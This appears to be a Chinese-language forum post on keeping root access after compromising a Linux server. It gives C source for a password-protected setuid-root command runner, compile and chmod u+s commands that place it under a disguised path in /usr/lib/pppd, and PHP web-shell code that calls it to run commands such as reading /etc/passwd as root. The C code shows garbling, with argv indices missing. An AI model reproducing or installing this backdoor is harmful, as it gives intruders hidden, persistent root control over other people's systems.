linux下一种脚本越权的方法
以前一直有一种想法:Linux提权后,各种后门不隐蔽,各种防火墙很BT,能不能让PHP继承suid权限,当作后门。经过测试,这个想法是可行的。
首先编写一段C,名为:run.c,并赋予suid权限。
[*]#include <stdio.h>
[*]#include <stdlib.h>
[*]#include <sys/types.h>
[*]#include <unistd.h>
[*]#include <string.h>
[*]int main(int argc, char*argv[])
[*]{
[*] char*pass="imspider";
[*]
[*] if(argc < 3)
[*] {
[*] printf("error\n");
[*] return 0;
[*] }
[*] uid_t uid ,euid;
[*] uid = getuid();
[*] euid = geteuid();
[*] if(setreuid(euid, uid))
[*] perror("setreuid");
[*] int s;
[*] if(strcmp(argv,pass)==0)
[*] {
[*] for(s=3;s<argc;s++)
[*] {
[*] strcat(argv," ");
[*] strcat(argv,argv);
[*] }
[*] system(argv);
[*] }
[*] else
[*] {
[*] printf("\n------Password error------\n");
[*] }
[*] return 0;
[*]}
复制代码
程序接收三个以上参数,特定第三个参数为密码(即argv),char*pass="imspider"; 密码为imspider。
密码正确才能执行系统命令。
这里我把run.c编译到/usr/lib/pppd路径下:
[*]root@spider:/usr/lib/pppd# gcc -Wall -o run run.c
[*]root@spider:/usr/lib/pppd# chmod u+s run
复制代码
下面PHP代码是重点:
这里利用PHP自带的system函数,在禁用system的情况下,可以利用PHP扩展,我以前提到过,这里不解释。
比如我们想查看/etc/passwd,前面提到第三个参数是密码。
[*]<?php
[*]echo '<pre>';
[*]system('/usr/lib/pppd/run cat imspider /etc/passwd');
[*]echo '</pre>';
[*]?>
复制代码
system('/usr/lib/pppd/run whoami imspider');//调用run查看当前用户,输出root。
system('/usr/lib/pppd/run whoami fuck');//密码不正确,输出Password error。
system('whoami');//不调用run查看当前用户,输出www。
我比较无聊,做了个命令交互页面。
http://www.yunsec.net/uploads/allimg/110710/1006214Z3-0.jpg 7 小时前 上传
下载附件 (13.87 KB)
http://www.yunsec.net/uploads/allimg/110710/1006215635-1.jpg 7 小时前 上传
下载附件 (26.68 KB)
页:
[1]